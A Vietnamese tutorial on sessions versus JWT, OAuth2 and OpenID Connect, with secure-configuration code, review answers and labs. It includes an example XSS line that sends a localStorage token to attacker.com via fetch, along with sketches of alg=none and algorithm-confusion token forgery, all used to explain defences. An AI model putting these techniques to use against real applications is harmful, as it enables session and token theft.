Bài này gộp 2 chủ đề: Sessions vs JWT, OAuth2 & OpenID Connect.
Mục tiêu học tập
- Hiểu cách hoạt động của cookie session (server-side state) và các cờ bảo mật
Secure,HttpOnly,SameSite - Hiểu cấu trúc JWT (header.payload.signature), khác nhau giữa HS256 và RS256
- Nhận diện các pitfall phổ biến của JWT:
alg=none, weak secret, no expiry, lưu ởlocalStorage - Áp dụng refresh token rotation và hiểu vấn đề token revocation
- Quyết định khi nào dùng session, khi nào dùng JWT
- Phân biệt authentication (OIDC) và authorization (OAuth2)
- Hiểu 4 grant types của OAuth2 và chọn đúng cho từng use case
- Nắm rõ Authorization Code + PKCE flow — mặc định hiện nay cho web/mobile/SPA
- Phân biệt Access Token vs ID Token, scope vs audience
- Tích hợp với providers phổ biến: Google, Auth0, Clerk, AWS Cognito
Phần 1: Sessions vs JWT
1. Cookie Session — Server-side State
Flow cơ bản
Server lưu gì?
Cookie chỉ chứa session_id (random ~128-bit, không có thông tin gì khác). Toàn bộ state ở server.
Cookie flags bắt buộc
Set-Cookie: sid=abc123;
HttpOnly; ← JS không đọc được → chống XSS đánh cắp cookie
Secure; ← Chỉ gửi qua HTTPS → chống MITM
SameSite=Lax; ← Không gửi cross-site → chống CSRF
Path=/;
Max-Age=3600;
Domain=app.example.com
| Flag | Tác dụng | Khuyến nghị |
|---|---|---|
HttpOnly | Cookie không truy cập được từ document.cookie | Bắt buộc |
Secure | Chỉ gửi qua HTTPS | Bắt buộc (production) |
SameSite=Strict | Không gửi với bất kỳ cross-site request nào | An toàn nhất, có thể vỡ UX khi link từ Google |
SameSite=Lax | Gửi với GET top-level navigation, không gửi POST cross-site | Default tốt (mặc định của Chrome 80+) |
SameSite=None | Cho phép cross-site (BẮT BUỘC kèm Secure) | Chỉ khi cần (embed cross-origin) |
Session fixation attack
1. Attacker truy cập site, server cấp sid=AAA
2. Attacker dụ victim click link với sid=AAA (qua URL hoặc XSS set cookie)
3. Victim login → server gắn sid=AAA với user của victim
4. Attacker dùng sid=AAA → đăng nhập với danh tính victim
Phòng chống: regenerate session ID sau khi login (req.session.regenerate() trong Express).
Pros / Cons của session
| Pros | Cons |
|---|---|
| Revoke dễ: xóa entry trong store | Cần session store (Redis/DB) → infra phức tạp hơn |
| Cookie nhỏ (chỉ id) | Không trivially stateless → khó scale qua nhiều region |
| Có thể chứa data lớn server-side | Phụ thuộc cookie → khó với mobile native, cross-domain |
| Mature, well-understood | Cần xử lý CSRF protection (CSRF token) |
2. JWT — JSON Web Token
Cấu trúc
Standard claims (RFC 7519)
| Claim | Ý nghĩa | Ví dụ |
|---|---|---|
iss | Issuer — ai phát hành | "https://auth.example.com" |
sub | Subject — user id | "user_42" |
aud | Audience — token dành cho service nào | "https://api.example.com" |
exp | Expiration time (Unix ts) | 1700003600 |
iat | Issued at | 1700000000 |
nbf | Not before | 1700000000 |
jti | JWT ID — unique id (để revoke) | "uuid-v4" |
HS256 vs RS256
HS256 (HMAC-SHA256): RS256 (RSA-SHA256):
Issuer: Issuer:
sign with SHARED_SECRET sign with PRIVATE_KEY
Verifier: Verifier:
verify with SHARED_SECRET verify with PUBLIC_KEY
(same secret as issuer) (publishable)
| HS256 | RS256 | |
|---|---|---|
| Loại key | Symmetric (shared secret) | Asymmetric (private/public) |
| Ai có thể verify | Chỉ ai có secret | Bất kỳ ai có public key |
| Use case | Cùng một service phát + verify | Nhiều microservice verify token do auth-service phát |
| Token size | Nhỏ hơn | Lớn hơn (signature dài) |
| Khi compromise | Mất secret → phát giả được | Mất private key → phát giả được; public key leak không sao |
Microservices nên dùng RS256 + công bố
jwks.jsonđể service khác verify mà không chia sẻ secret.
Flow JWT điển hình
Resource API không cần gọi DB / auth service để verify — chỉ verify signature và kiểm claim. Đây là điểm hấp dẫn của JWT.
3. JWT Pitfalls
Pitfall 1: alg=none attack
// Attacker tự tạo JWT:
header = { "alg": "none", "typ": "JWT" }
payload = { "sub": "admin", "exp": 9999999999 }
signature = "" // bỏ trống
// Nếu thư viện chấp nhận alg=none → token này pass verify
Phòng chống:
- Whitelist alg cho phép:
jwt.verify(token, secret, { algorithms: ["HS256"] }) - KHÔNG để user kiểm soát alg
Pitfall 2: Algorithm confusion (RS256 → HS256)
// Server có RSA public key, dự kiến verify RS256
// Attacker đổi header thành alg=HS256
// Thư viện cũ: dùng public key làm HMAC secret
// → public key là public → attacker biết → sign được token giả
Phòng chống: luôn whitelist algorithms: ["RS256"] chứ không trust header.
Pitfall 3: Weak HMAC secret
// ❌ SAI
const secret = "secret"; // brute force trong 1 giây
const secret = "myapp_secret"; // dictionary attack
const secret = "abc123";
// ✅ ĐÚNG: ≥ 256 bits random
const secret = crypto.randomBytes(32).toString("base64");
// hoặc dùng RS256 với key pair
Có công cụ hashcat / jwt_tool brute force weak HMAC secret từ token public.
Pitfall 4: No expiry / quá dài
// ❌ SAI
{ "sub": "u1" } // không có exp → token bất tử
{ "sub": "u1", "exp": +30 days } // quá dài cho access token
// ✅ ĐÚNG
access_token: exp = 15 minutes
refresh_token: exp = 7-30 days, rotate trên mỗi lần dùng
Pitfall 5: Lưu JWT trong localStorage
// ❌ SAI — XSS đọc được
localStorage.setItem("token", jwt);
// Bất kỳ <script> nào (kể cả 3rd party CDN bị compromise) đều có thể:
const token = localStorage.getItem("token");
fetch("https://attacker.com?t=" + token);
| Storage | XSS đọc được | CSRF | Nhận xét |
|---|---|---|---|
localStorage | Có | Không | Nguy hiểm với XSS |
sessionStorage | Có | Không | Tương tự localStorage |
Cookie HttpOnly | Không | Có (cần SameSite) | An toàn nhất với JWT |
| Memory (JS variable) | Có nhưng mất khi reload | Không | OK cho short-lived access token |
Khuyến nghị: cookie HttpOnly; Secure; SameSite=Lax. Nếu phải lưu trong JS, chỉ short-lived access token + refresh token trong cookie.
Pitfall 6: Token bloat
// ❌ SAI: nhét cả profile user vào payload
{
"sub": "u1",
"email": "...",
"first_name": "...",
"address": "...",
"permissions": [/* 200 items */]
}
Payload JWT đi theo mọi request → tăng bandwidth. Chỉ nên chứa sub, exp, iat, role IDs ngắn.
4. Refresh Token Rotation
Vấn đề: token revocation
JWT stateless = không thể "xóa" khỏi server. Nếu user logout / device mất / leak:
- Token vẫn hợp lệ đến
exp - Phải có cách invalidate
Pattern: short access + long refresh, rotate refresh
1. Login → cấp:
access_token (exp = 15 min) ← gửi mọi request
refresh_token (exp = 30 days) ← dùng để xin access mới
2. Access expire → gọi /refresh với refresh_token:
- Server verify refresh_token
- Cấp access_token mới
- Cấp refresh_token mới (rotate)
- Invalidate refresh_token cũ (đánh dấu trong DB)
3. Nếu attacker steal refresh_token và dùng:
- Đầu tiên có thể thành công 1 lần
- Khi user thật dùng refresh_token cũ → server phát hiện đã used
- → Revoke toàn bộ session của user (force re-login)
Bảng so sánh thời gian sống
| Token type | Lifetime | Lưu ở đâu | Revocation |
|---|---|---|---|
| Access token (JWT) | 5-15 phút | Memory / cookie HttpOnly | Đợi exp |
| Refresh token | 7-30 ngày | Cookie HttpOnly (path=/refresh) | Lưu trong DB, rotate, revoke được |
| Session id | 30 ngày | Cookie HttpOnly | Xóa entry trong store |
Revocation list (denylist)
Cho trường hợp cần revoke access token trước hạn:
- Lưu
jticủa token đã revoke trong Redis với TTL = exp - Mỗi request: verify JWT + check Redis denylist
- Trade-off: mất tính stateless
5. Khi nào dùng Session vs JWT?
| Tiêu chí | Session (cookie) | JWT |
|---|---|---|
| Single web app, same domain | Có (đơn giản, an toàn) | Overkill |
| SPA + REST API cùng domain | Có (cookie HttpOnly) | OK nhưng phải cẩn thận storage |
| Mobile native (iOS/Android) | Khó (cookie awkward) | Có (Bearer token) |
| Microservices nhiều region | Khó scale session store | Có (RS256 + JWKS) |
| Third-party API access | — | Có (OAuth2 access token) |
| Cần revoke ngay lập tức | Có (xóa session) | Khó (cần denylist) |
| Cần đơn giản, ít infra | Có | Phức tạp hơn |
| Cross-domain SSO | Khó | Có (OIDC ID token) |
Quy tắc thực tế: cho web app same-origin, dùng cookie session. Cho mobile / SPA + multi-service / SSO, dùng JWT (best practice: access trong memory, refresh trong cookie HttpOnly).
6. Code ví dụ
Express session với Redis
import express from "express";
import session from "express-session";
import { RedisStore } from "connect-redis";
import { createClient } from "redis";
const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();
const app = express();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET, // for signing cookie
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "lax",
maxAge: 1000 * 60 * 60, // 1h
},
}));
app.post("/login", async (req, res) => {
// verify password ...
req.session.regenerate(() => { // chống session fixation
req.session.userId = user.id;
res.json({ ok: true });
});
});
app.post("/logout", (req, res) => {
req.session.destroy(() => res.json({ ok: true }));
});
JWT với jose (Node.js)
import { SignJWT, jwtVerify } from "jose";
const secret = new TextEncoder().encode(process.env.JWT_SECRET); // ≥32 bytes
// Sign
async function signAccessToken(userId, roles) {
return await new SignJWT({ roles })
.setProtectedHeader({ alg: "HS256" })
.setSubject(userId)
.setIssuer("https://auth.example.com")
.setAudience("https://api.example.com")
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret);
}
// Verify
async function verifyAccessToken(token) {
const { payload } = await jwtVerify(token, secret, {
issuer: "https://auth.example.com",
audience: "https://api.example.com",
algorithms: ["HS256"], // ← whitelist quan trọng
});
return payload;
}
Phần 2: OAuth2 & OpenID Connect
1. OAuth2 là gì, không là gì?
OAuth2 là framework cho authorization: cho phép một ứng dụng (Client) truy cập resource thay mặt user, không cần biết password của user.
"OAuth2 không phải là protocol cho authentication"
↑
(nhưng nhiều người dùng nhầm như vậy)
OAuth2 trả lời: "Client này có được phép gọi API X thay mặt user Y không?" Không trả lời: "User này là ai?" → đó là việc của OIDC.
Ví dụ thực tế
Spotify muốn import playlist từ tài khoản YouTube của bạn:
❌ Không OAuth2:
Spotify hỏi: "Cho tôi mật khẩu YouTube của bạn"
→ Bạn cho password đầy đủ → Spotify có thể đọc Gmail, xóa video...
✅ Có OAuth2:
Spotify redirect bạn tới Google → bạn login với Google →
Google hỏi: "Cho phép Spotify ĐỌC playlist YouTube?" →
Bạn approve → Spotify nhận access token CHỈ cho scope youtube.readonly
→ Không biết password, không đọc Gmail được
4 vai trò trong OAuth2
| Vai trò | Là ai (ví dụ) | Trách nhiệm |
|---|---|---|
| Resource Owner | User cuối | Sở hữu dữ liệu, approve/deny truy cập |
| Client | App của developer | Muốn truy cập resource của user |
| Authorization Server | Google, Auth0, Cognito | Authenticate user, phát access token |
| Resource Server | API có data | Verify token, trả data theo scope |
2. OAuth2 Grant Types
| Grant type | Use case | Status hiện nay |
|---|---|---|
| Authorization Code + PKCE | Web app, SPA, mobile | DEFAULT |
| Client Credentials | Machine-to-machine (no user) | OK |
| Refresh Token | Refresh access token | OK (kèm grant khác) |
| Authorization Code (no PKCE) | Server-side web confidential | Vẫn dùng, nên thêm PKCE |
| Implicit | (cũ) SPA | DEPRECATED (OAuth 2.1) |
| Resource Owner Password | (cũ) trusted first-party | DEPRECATED |
| Device Code | TV, CLI không có browser | OK |
Client types
Confidential client: có thể giữ secret an toàn
→ Backend server (Node.js, Django, Rails)
→ Lưu client_secret trong env var
Public client: KHÔNG thể giữ secret
→ SPA (code đọc được từ browser)
→ Mobile app (decompile được)
→ CLI tool
→ BẮT BUỘC dùng PKCE
3. Authorization Code + PKCE Flow
PKCE là gì?
PKCE (Proof Key for Code Exchange, RFC 7636) chống authorization code interception attack: malicious app trên cùng device chặn authorization code trong redirect URL.
Trước PKCE chỉ confidential client dùng được Authorization Code vì cần client_secret. PKCE thay thế client_secret bằng one-time proof → public client dùng được.
Cách PKCE hoạt động
1. Client tự sinh:
code_verifier = random 43-128 ký tự (cryptographically random)
code_challenge = BASE64URL( SHA256(code_verifier) )
2. Gửi code_challenge LÊN cùng authorization request
3. Khi exchange code lấy token, gửi code_verifier LÊN
4. AS verify: SHA256(code_verifier) == stored code_challenge?
- Nếu attacker chặn code, không có code_verifier → không exchange được
Flow đầy đủ (web SPA + PKCE)
Quan trọng: state parameter chống CSRF
// Client sinh state random trước khi redirect
const state = crypto.randomUUID();
sessionStorage.setItem("oauth_state", state);
// Trong callback, verify
const returnedState = new URL(location).searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
throw new Error("State mismatch — possible CSRF");
}
4. Client Credentials Grant (M2M)
Khi không có user — service A gọi service B:
Đặc điểm:
- Không có user, không có ID token
- Client phải là confidential (giữ được secret)
- Scope hạn chế theo M2M
5. OpenID Connect — Identity Layer
OAuth2 trả lời "ai cho phép truy cập gì". OIDC mở rộng để trả lời "user này là ai".
Điểm khác biệt then chốt
Access Token vs ID Token
| Access Token | ID Token | |
|---|---|---|
| Mục đích | Authorize API calls | Authenticate user vào Client |
| Audience | Resource Server (API) | Client app |
| Format | Opaque hoặc JWT | Luôn là JWT |
| Client có decode không | Không bắt buộc | Có, đọc claims user |
| Gửi đến đâu | API qua Authorization: Bearer | Chỉ dùng trong Client |
| Claims | scope, exp, sub | sub, email, name, picture, exp |
Nhớ: Đừng gửi ID Token qua Bearer header đến API. Đừng dùng ID Token để authorize. ID Token chỉ để Client biết user là ai.
Standard OIDC scopes
openid ← BẮT BUỘC để kích hoạt OIDC, returns ID token
profile ← name, family_name, given_name, picture, locale
email ← email, email_verified
address ← address claim
phone ← phone_number, phone_number_verified
offline_access ← refresh_token
Discovery endpoint
OIDC providers công bố metadata tại:
https://accounts.google.com/.well-known/openid-configuration
{
"issuer": "https://accounts.google.com",
"authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
"token_endpoint": "https://oauth2.googleapis.com/token",
"userinfo_endpoint": "https://openidconnect.googleapis.com/v1/userinfo",
"jwks_uri": "https://www.googleapis.com/oauth2/v3/certs",
"response_types_supported": ["code", "token", ...],
"id_token_signing_alg_values_supported": ["RS256"]
}
Library OIDC tự fetch endpoint này → developer không hardcode URL.
6. Scope vs Audience
Scope — quyền hạn
User thấy consent screen liệt kê scope → approve từng cái. Resource Server check scope trong access token để cho phép operation.
Audience — token gửi cho ai
{
"iss": "https://auth.example.com",
"sub": "user_42",
"aud": "https://api.orders.example.com", ← chỉ API này nên accept
"scope": "orders.read"
}
Resource Server PHẢI verify aud claim:
// ❌ SAI: chỉ verify signature
jwt.verify(token, publicKey);
// ✅ ĐÚNG: verify audience
jwt.verify(token, publicKey, {
audience: "https://api.orders.example.com",
issuer: "https://auth.example.com",
});
Không verify aud → token cho API A có thể bị replay sang API B → confused deputy attack.
7. Providers phổ biến
| Provider | Loại | Đặc điểm |
|---|---|---|
| OIDC, free | Phổ biến cho social login | |
| GitHub | OAuth2 (không phải OIDC chuẩn) | Cho developer tool, có userinfo riêng |
| Auth0 | OIDC, SaaS | Customizable, đắt khi scale lớn |
| Clerk | OIDC + UI components | DX tốt cho Next.js, free tier 10k MAU |
| AWS Cognito | OIDC | Tích hợp sâu AWS, UX kém hơn |
| Keycloak | OIDC, self-hosted | Open source, control hoàn toàn |
| Okta | OIDC enterprise | SSO cho doanh nghiệp |
| Microsoft Entra ID | OIDC | Azure AD, B2B/B2C |
Khi nào tự build vs dùng provider?
DÙNG PROVIDER khi:
- Team < 50 dev, không có security engineer chuyên trách
- Cần social login (Google/Facebook/Apple)
- Time-to-market quan trọng
- Compliance (SOC2, HIPAA) — provider đã certified
TỰ BUILD khi:
- Có yêu cầu compliance đặc biệt (gov, classified)
- Volume cực lớn (cost provider > engineer)
- Có security team
- Cần fully customize flow
8. Code ví dụ
Node.js với openid-client
// npm install openid-client
import * as client from "openid-client";
// 1. Discovery
const config = await client.discovery(
new URL("https://accounts.google.com"),
process.env.CLIENT_ID,
process.env.CLIENT_SECRET // bỏ nếu public client
);
// 2. Build authorization URL
const codeVerifier = client.randomPKCECodeVerifier();
const codeChallenge = await client.calculatePKCECodeChallenge(codeVerifier);
const state = client.randomState();
const authUrl = client.buildAuthorizationUrl(config, {
redirect_uri: "https://app.example.com/callback",
scope: "openid profile email",
code_challenge: codeChallenge,
code_challenge_method: "S256",
state,
});
// Lưu codeVerifier + state vào session, redirect user
// 3. Trong callback handler
const tokens = await client.authorizationCodeGrant(config, currentUrl, {
pkceCodeVerifier: codeVerifier,
expectedState: state,
});
// tokens.access_token, tokens.id_token, tokens.refresh_token
const claims = tokens.claims();
console.log("User:", claims.sub, claims.email);
SPA với PKCE (browser flow)
// 1. Generate PKCE pair
async function sha256(str) {
const buf = new TextEncoder().encode(str);
const hash = await crypto.subtle.digest("SHA-256", buf);
return btoa(String.fromCharCode(...new Uint8Array(hash)))
.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
}
const verifier = crypto.randomUUID() + crypto.randomUUID();
const challenge = await sha256(verifier);
const state = crypto.randomUUID();
sessionStorage.setItem("pkce_verifier", verifier);
sessionStorage.setItem("oauth_state", state);
// 2. Redirect
const params = new URLSearchParams({
client_id: "spa-client",
redirect_uri: "https://app/callback",
response_type: "code",
scope: "openid profile email",
code_challenge: challenge,
code_challenge_method: "S256",
state,
});
location.href = `https://auth.example.com/authorize?${params}`;
// 3. Callback handler
const url = new URL(location);
const code = url.searchParams.get("code");
const returnedState = url.searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
throw new Error("State mismatch");
}
const res = await fetch("https://auth.example.com/token", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: new URLSearchParams({
grant_type: "authorization_code",
client_id: "spa-client",
code,
redirect_uri: "https://app/callback",
code_verifier: sessionStorage.getItem("pkce_verifier"),
}),
});
const tokens = await res.json();
Câu hỏi ôn tập
-
Tại sao cookie chứa session id cần cả 3 cờ
HttpOnly,Secure,SameSite?Xem đáp án
Mỗi cờ chống một loại tấn công: HttpOnly → JS không đọc được
document.cookie, nên XSS không lấy được session id. Secure → cookie chỉ gửi qua HTTPS, chống man-in-the-middle nghe lén trên Wi-Fi public. SameSite=Lax/Strict → cookie không gửi với cross-site POST request, chống CSRF. Thiếu một trong ba là vector tấn công còn mở. -
JWT
alg=noneattack hoạt động thế nào và phòng chống ra sao?Xem đáp án
Attacker tạo JWT với header
{"alg":"none"}và signature trống. Thư viện JWT cũ (hoặc cấu hình sai) trust header và chấp nhận token không signature → attacker giả mạo bất kỳ user nào. Phòng chống: luôn whitelist algorithm khi verify, ví dụjwt.verify(token, secret, { algorithms: ["HS256"] }). KHÔNG đọc alg từ header để chọn cách verify. -
Sự khác biệt cốt lõi giữa HS256 và RS256, khi nào nên dùng RS256?
Xem đáp án
HS256 dùng symmetric secret — issuer và verifier cùng chia sẻ một secret → chỉ phù hợp khi cùng một service phát và verify. RS256 dùng key pair (private/public) — issuer sign bằng private key, verifier dùng public key (công bố qua JWKS) → nhiều microservice verify được mà không chia sẻ secret. Dùng RS256 cho hệ thống microservices, SSO, OIDC. Dùng HS256 cho monolith đơn giản.
-
Vì sao lưu JWT trong
localStoragelà rủi ro, và alternative là gì?Xem đáp án
localStorageaccessible từ JavaScript → bất kỳ XSS nào (kể cả qua npm package compromise hoặc CDN bị hack) đều đọc được token và gửi đi. Alternative tốt nhất: cookieHttpOnly; Secure; SameSite=Laxcho refresh token (JS không đọc được) + access token short-lived (5-15 phút) trong memory JS. Khi tab đóng, access token mất → cần refresh, refresh nằm trong cookie an toàn. -
Refresh token rotation phát hiện token bị steal bằng cách nào?
Xem đáp án
Mỗi lần dùng refresh token để xin access mới, server invalidate refresh cũ (đánh dấu used trong DB) và cấp refresh mới. Nếu attacker steal refresh token và dùng trước user thật, attacker được token mới — nhưng khi user thật dùng refresh cũ, server phát hiện token cũ đã used → biết có attack → revoke toàn bộ session của user, force re-login. Pattern này tự phát hiện compromise mà user không cần báo.
-
OAuth2 và OIDC khác nhau như thế nào? Nếu chỉ cần "social login" để biết user là ai, dùng cái nào?
Xem đáp án
OAuth2 là framework cho authorization — Client xin phép user truy cập resource. Nó không định nghĩa user identity, không có chuẩn để biết "user là ai". OIDC xây trên OAuth2, thêm ID Token (JWT) chứa claims user (sub, email, name) → biết user là ai. Để social login, luôn dùng OIDC (scope
openid+ lấy ID token). Dùng OAuth2 thuần để gọi API của bên thứ 3 thay mặt user (Spotify đọc YouTube playlist). -
Tại sao SPA hiện nay phải dùng PKCE thay vì Implicit grant?
Xem đáp án
Implicit grant trả access token thẳng trong URL fragment → token leak qua browser history, referer header, log server proxy. Không có protection cho code interception trên cùng device. Authorization Code + PKCE trả về
codengắn hạn (one-time use), exchange thành token qua POST riêng. PKCE thay thế client_secret bằng one-timecode_verifier→ public client (SPA, mobile) vẫn an toàn. OAuth 2.1 chính thức deprecate Implicit. -
ID Token có thể dùng để gọi API không? Tại sao?
Xem đáp án
Không. ID Token có
aud= client app, không phải API. Nó chỉ chứng minh "user X đã authenticate vào client Y" cho client biết. Gửi ID token đến API là sai mẫu vì: (1) API không nên trust một token cóaudkhông phải mình, (2) ID Token thường có thông tin nhạy cảm (email, name) không nên gửi mọi API call, (3) ID Token thường có lifetime dài hơn access token. Luôn dùng access token cho API calls. -
Resource Server cần verify những claim nào của access token JWT?
Xem đáp án
Tối thiểu: (1) Signature — verify bằng public key từ JWKS endpoint của AS, (2)
iss— issuer phải là AS được trust, (3)aud— audience phải là RS này (chống confused deputy: token cho API A bị dùng cho API B), (4)exp— chưa hết hạn, (5)scope— đủ permission cho operation. Tùy chọn:nbf(not before),jti(check denylist nếu cần revoke). Skip bất kỳ cái nào trong 5 cái đầu là lỗ hổng. -
Khi nào dùng Client Credentials grant?
Xem đáp án
Khi không có user — machine-to-machine. Ví dụ: service A backend (gọi bằng cron) gọi API service B; data pipeline ETL gọi public API; webhook backend của vendor X push data đến API của bạn. Client phải là confidential (giữ được client_secret). Không có ID token, không có refresh token. Token thường có scope hạn chế cho M2M (vd: analytics.read). KHÔNG dùng cho user-facing app vì không capture được consent của user.
Bài tập thực hành
Phần 1: Sessions vs JWT
# 1. JWT decode bằng tay
# Lấy một JWT (từ jwt.io demo)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.signature"
# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# → {"alg":"HS256","typ":"JWT"}
# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d
# → {"sub":"1234567890","name":"John"}
# 2. Tự ký JWT với jose
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install jose
cat > sign.mjs << 'EOF'
import { SignJWT } from "jose";
const secret = new TextEncoder().encode("a-very-long-random-secret-256-bits-please");
const jwt = await new SignJWT({ role: "user" })
.setProtectedHeader({ alg: "HS256" })
.setSubject("user-42")
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret);
console.log(jwt);
EOF
node sign.mjs
# 3. Mở https://jwt.io, paste token, quan sát decode
# 4. Thử alg=none attack:
# - Tạo JWT mới với header alg=none
# - Bỏ signature
# - Verify với thư viện → quan sát thư viện modern (jose) reject
# 5. Setup Express session với Redis
docker run -d -p 6379:6379 redis
# Code Express session demo ở section 6, test cookie với DevTools
Phần 2: OAuth2 & OpenID Connect
# 1. Đăng ký Google OAuth client
# - Truy cập https://console.cloud.google.com/apis/credentials
# - Tạo OAuth client ID, type = Web application
# - Authorized redirect URIs: http://localhost:3000/callback
# 2. Setup demo với openid-client
mkdir oidc-lab && cd oidc-lab
npm init -y
npm install openid-client express
# 3. Tạo server demo (xem code ở section 8)
# 4. Khi callback, in ra:
# - access_token (gửi tới API)
# - id_token (decode tại jwt.io, xem claims sub, email, name)
# - refresh_token (nếu xin offline_access)
# 5. Verify ID token signature
# - Fetch jwks_uri của Google
# - Verify ID token với jose library
# - Verify aud == client_id, iss == "https://accounts.google.com"
# 6. Thử Auth0 free tier:
# - Đăng ký auth0.com
# - Tạo Application type = SPA (sẽ enforce PKCE)
# - Dùng @auth0/auth0-spa-js trong frontend
# 7. Quan sát discovery endpoint:
curl https://accounts.google.com/.well-known/openid-configuration | jq
curl https://YOUR_DOMAIN.auth0.com/.well-known/openid-configuration | jq
Tài liệu tham khảo
- RFC 7519 — JSON Web Token
- OWASP JWT Cheat Sheet
- OWASP Session Management Cheat Sheet
- jose library docs
- OAuth 2.0 — RFC 6749
- PKCE — RFC 7636
- OAuth 2.1 draft
- OpenID Connect Core 1.0
- OAuth 2.0 for Browser-Based Apps